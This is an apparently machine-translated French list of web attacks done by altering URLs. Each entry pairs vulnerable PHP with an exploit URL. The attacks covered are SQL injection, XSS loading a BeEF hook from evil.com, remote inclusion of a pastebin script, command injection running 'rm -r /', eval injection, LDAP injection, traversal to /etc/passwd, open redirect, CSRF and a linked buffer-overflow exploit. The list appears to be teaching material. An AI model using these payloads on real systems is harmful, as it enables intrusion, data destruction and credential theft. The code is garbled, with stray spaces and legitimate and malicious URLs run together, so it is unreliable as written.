Hacks qui fonctionnent simplement en modifiant l'URL
- Un exemple légitime et un exemple malveillant
- Certains exemples nécessitent le codage d'URL pour fonctionner (généralement effectué automatiquement par le navigateur)
code: final
$ username = $ _POST [ 'username']; $ pw = $ _GET ['password']; mysql_query ("SELECT * FROM userTable WHERE username = $ username AND password = $ pw");
exploit (se connecte en tant qu'administrateur sans connaître le mot de passe):
example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGetexample.com/?username=Administrator&password=password 'ou 1 = 1- -
$ nickname = $ _GET ['nickname']; echo "<div>Votre pseudo est $ nickname< / div> \ n";
exploit (les inscrits visitant l'utilisateur en tant que zombie dans BeEF):
example.com/?nickname=Karraxexample.com/?nickname=<script src = "evil.com/beefmagic.js.php" / >
Exécution de code à distance
code (exemple de Tylerl):
<? include ($ _ GET ["module"]. ". php"); ? >
exploit (télécharge et exécute du code arbitraire):
example.com/?module=frontpageexample.com/ ? module = pastebin.com / mymaliciousscript
Injection de commandes
code:
<? Phpecho shell_exec ('cat'. $ _ GET ['filename']) ;? >
exploit (tente de supprimer tous les fichiers du répertoire racine):
example.com/?filename=readme.txtexample.com/?filename=readme.txt;rm -r /
Injection de code
code:
<? Php $ myvar = "varname"; $ x = $ _GET ['arg']; eval ("\ $ mavar = \ $ x;") ;? >
exploit (injecte la commande phpinfo () qui affiche des informations d'attaque très utiles à l'écran):
example.com/?arg=1example.com/?arg = 1; phpinfo ()
injection LDAP
code:
<? php $ username = $ _GET ['username']; $ password = $ _GET ['password']; ldap_query ("(& (cn = $ username) (password = $ password)")? >
exploit (se connecte sans connaître le mot de passe administrateur):
example.com/?username=admin&password=adminadminexample.com/?username=admin&password = *
Traversée du chemin
code:
<? phpinclude ("./" . $ _GET ['page']) ;? >
exploit (récupère / etc / passwd):
exemple .com /? page = front.phpexample.com /? page = .. / .. / .. / .. / .. / .. / .. / .. / etc / passwd
Attaque de redirection / transmission
code:
<? php $ redirectUrl = $ _GET ['url'] ; header ("Location: $ redirectUrl");? >
exploit (Envoie l'utilisateur de votre page au mal p age):
example.com/?url=example.com/faq.phpexample.com/?url=evil.com/sploitCode.php
Échec de la restriction de l'accès à l'URL
code:
N / A. ACL .htaccess manquant ou contrôle d'accès similaire. Permet à l'utilisateur de deviner ou de découvrir par d'autres moyens l'emplacement du contenu qui ne devrait être accessible que lorsqu'il est connecté.
exploiter:
example.com/users/showUser.phpexample.com/admins/editUser.php
Falsification de requêtes intersites
code :
N / A. Le code n'a pas de secret de page à page pour valider que la demande provient du site actuel. Mettre en œuvre un secret qui est transmis et validé entre les pages.
exploit :
Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243Sur une mauvaise page: <img src = "http://example.com/app/transferFunds?amount=1500destinationAccount#" widthAccount = "width =" 0 "height =" 0 "/ >
Buffer overflow (techniquement en accédant à une URL, mais implémenté avec metasploit
code:
N / A. Vulnérabilité dans le code du serveur Web lui-même. Dépassement de la mémoire tampon standard
Exploit (Metasploit + meterpreter?):
http : //www.exploit-db.com/exploits/16798/